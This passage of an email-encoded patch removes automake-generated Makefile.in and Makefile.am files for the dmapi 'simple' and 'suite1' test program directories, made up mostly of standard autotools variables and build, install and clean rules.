-=09dm_getall_tokens$(EXEEXT) dm_query_session$(EXEEXT) -subdir =3D src/simple -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -am__installdirs =3D "$(DESTDIR)$(bindir)" -binPROGRAMS_INSTALL =3D $(INSTALL_PROGRAM) -PROGRAMS =3D $(bin_PROGRAMS) -dm_create_session_SOURCES =3D dm_create_session.c -dm_create_session_OBJECTS =3D dm_create_session.$(OBJEXT) -dm_create_session_LDADD =3D $(LDADD) -dm_destroy_session_SOURCES =3D dm_destroy_session.c -dm_destroy_session_OBJECTS =3D dm_destroy_session.$(OBJEXT) -dm_destroy_session_LDADD =3D $(LDADD) -dm_find_eventmsg_SOURCES =3D dm_find_eventmsg.c -dm_find_eventmsg_OBJECTS =3D dm_find_eventmsg.$(OBJEXT) -dm_find_eventmsg_LDADD =3D $(LDADD) -dm_getall_sessions_SOURCES =3D dm_getall_sessions.c -dm_getall_sessions_OBJECTS =3D dm_getall_sessions.$(OBJEXT) -dm_getall_sessions_LDADD =3D $(LDADD) -dm_getall_tokens_SOURCES =3D dm_getall_tokens.c -dm_getall_tokens_OBJECTS =3D dm_getall_tokens.$(OBJEXT) -dm_getall_tokens_LDADD =3D $(LDADD) -dm_query_session_SOURCES =3D dm_query_session.c -dm_query_session_OBJECTS =3D dm_query_session.$(OBJEXT) -dm_query_session_LDADD =3D $(LDADD) -DEFAULT_INCLUDES =3D -I. -I$(srcdir) -depcomp =3D $(SHELL) $(top_srcdir)/depcomp -am__depfiles_maybe =3D depfiles -COMPILE =3D $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAG= S) \ -=09$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -LTCOMPILE =3D $(LIBTOOL) --mode=3Dcompile --tag=3DCC $(CC) $(DEFS) \ -=09$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ -=09$(AM_CFLAGS) $(CFLAGS) -CCLD =3D $(CC) -LINK =3D $(LIBTOOL) --mode=3Dlink --tag=3DCC $(CCLD) $(AM_CFLAGS) $(CF= LAGS) \ -=09$(AM_LDFLAGS) $(LDFLAGS) -o $@ -SOURCES =3D dm_create_session.c dm_destroy_session.c dm_find_eventmsg.= c \ -=09dm_getall_sessions.c dm_getall_tokens.c dm_query_session.c -DIST_SOURCES =3D dm_create_session.c dm_destroy_session.c \ -=09dm_find_eventmsg.c dm_getall_sessions.c dm_getall_tokens.c \ -=09dm_query_session.c -ETAGS =3D etags -CTAGS =3D ctags -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -all: all-am - -.SUFFIXES: -.SUFFIXES: .c .lo .o .obj -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/simple/Makefile';= \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/simple/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -install-binPROGRAMS: $(bin_PROGRAMS) -=09@$(NORMAL_INSTALL) -=09test -z "$(bindir)" || $(mkdir_p) "$(DESTDIR)$(bindir)" -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 p1=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 if test -f $$p \ -=09 || test -f $$p1 \ -=09 ; then \ -=09 f=3D`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`= ; \ -=09 echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binP= ROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \ -=09 $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binPROGRAMS= _INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \ -=09 else :; fi; \ -=09done - -uninstall-binPROGRAMS: -=09@$(NORMAL_UNINSTALL) -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$= /$(EXEEXT)/'`; \ -=09 echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \ -=09 rm -f "$(DESTDIR)$(bindir)/$$f"; \ -=09done - -clean-binPROGRAMS: -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 echo " rm -f $$p $$f"; \ -=09 rm -f $$p $$f ; \ -=09done -dm_create_session$(EXEEXT): $(dm_create_session_OBJECTS) $(dm_create_s= ession_DEPENDENCIES)=20 -=09@rm -f dm_create_session$(EXEEXT) -=09$(LINK) $(dm_create_session_LDFLAGS) $(dm_create_session_OBJECTS) $= (dm_create_session_LDADD) $(LIBS) -dm_destroy_session$(EXEEXT): $(dm_destroy_session_OBJECTS) $(dm_destro= y_session_DEPENDENCIES)=20 -=09@rm -f dm_destroy_session$(EXEEXT) -=09$(LINK) $(dm_destroy_session_LDFLAGS) $(dm_destroy_session_OBJECTS)= $(dm_destroy_session_LDADD) $(LIBS) -dm_find_eventmsg$(EXEEXT): $(dm_find_eventmsg_OBJECTS) $(dm_find_event= msg_DEPENDENCIES)=20 -=09@rm -f dm_find_eventmsg$(EXEEXT) -=09$(LINK) $(dm_find_eventmsg_LDFLAGS) $(dm_find_eventmsg_OBJECTS) $(d= m_find_eventmsg_LDADD) $(LIBS) -dm_getall_sessions$(EXEEXT): $(dm_getall_sessions_OBJECTS) $(dm_getall= _sessions_DEPENDENCIES)=20 -=09@rm -f dm_getall_sessions$(EXEEXT) -=09$(LINK) $(dm_getall_sessions_LDFLAGS) $(dm_getall_sessions_OBJECTS)= $(dm_getall_sessions_LDADD) $(LIBS) -dm_getall_tokens$(EXEEXT): $(dm_getall_tokens_OBJECTS) $(dm_getall_tok= ens_DEPENDENCIES)=20 -=09@rm -f dm_getall_tokens$(EXEEXT) -=09$(LINK) $(dm_getall_tokens_LDFLAGS) $(dm_getall_tokens_OBJECTS) $(d= m_getall_tokens_LDADD) $(LIBS) -dm_query_session$(EXEEXT): $(dm_query_session_OBJECTS) $(dm_query_sess= ion_DEPENDENCIES)=20 -=09@rm -f dm_query_session$(EXEEXT) -=09$(LINK) $(dm_query_session_LDFLAGS) $(dm_query_session_OBJECTS) $(d= m_query_session_LDADD) $(LIBS) - -mostlyclean-compile: -=09-rm -f *.$(OBJEXT) - -distclean-compile: -=09-rm -f *.tab.c - -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_create_session.Po@= am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_destroy_session.Po= @am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_find_eventmsg.Po@a= m__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_getall_sessions.Po= @am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_getall_tokens.Po@a= m__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_query_session.Po@a= m__quote@ - -.c.o: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c $< - -.c.obj: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c `$(CYGPATH_W) '$<'` - -.c.lo: -@am__fastdepCC_TRUE@=09if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$= *.Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo= "; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dyes @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(LTCOMPILE) -c -o $@ $< - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-am -all-am: Makefile $(PROGRAMS) -installdirs: -=09for dir in "$(DESTDIR)$(bindir)"; do \ -=09 test -z "$$dir" || $(mkdir_p) "$$dir"; \ -=09done -install: install-am -install-exec: install-exec-am -install-data: install-data-am -uninstall: uninstall-am - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-am -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-am - -clean-am: clean-binPROGRAMS clean-generic clean-libtool mostlyclean-am - -distclean: distclean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -distclean-am: clean-am distclean-compile distclean-generic \ -=09distclean-libtool distclean-tags - -dvi: dvi-am - -dvi-am: - -html: html-am - -info: info-am - -info-am: - -install-data-am: - -install-exec-am: install-binPROGRAMS - -install-info: install-info-am - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-am - -mostlyclean-am: mostlyclean-compile mostlyclean-generic \ -=09mostlyclean-libtool - -pdf: pdf-am - -pdf-am: - -ps: ps-am - -ps-am: - -uninstall-am: uninstall-binPROGRAMS uninstall-info-am - -.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS = \ -=09clean-generic clean-libtool ctags distclean distclean-compile \ -=09distclean-generic distclean-libtool distclean-tags distdir dvi \ -=09dvi-am html html-am info info-am install install-am \ -=09install-binPROGRAMS install-data install-data-am install-exec \ -=09install-exec-am install-info install-info-am install-man \ -=09install-strip installcheck installcheck-am installdirs \ -=09maintainer-clean maintainer-clean-generic mostlyclean \ -=09mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ -=09pdf pdf-am ps ps-am tags uninstall uninstall-am \ -=09uninstall-binPROGRAMS uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/suite1/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite1/Makefile.am +++ /dev/null @@ -1,3 +0,0 @@ -## Process this file with automake to produce Makefile.in - -SUBDIRS =3D cmd Index: b/dmapi/src/suite1/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite1/Makefile.in +++ /dev/null @@ -1,453 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -subdir =3D src/suite1 -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -SOURCES =3D -DIST_SOURCES =3D -RECURSIVE_TARGETS =3D all-recursive check-recursive dvi-recursive \ -=09html-recursive info-recursive install-data-recursive \ -=09install-exec-recursive install-info-recursive \ -=09install-recursive installcheck-recursive installdirs-recursive \ -=09pdf-recursive ps-recursive uninstall-info-recursive \ -=09uninstall-recursive -ETAGS =3D etags -CTAGS =3D ctags -DIST_SUBDIRS =3D $(SUBDIRS) -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -SUBDIRS =3D cmd -all: all-recursive - -.SUFFIXES: -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/suite1/Makefile';= \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/suite1/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - 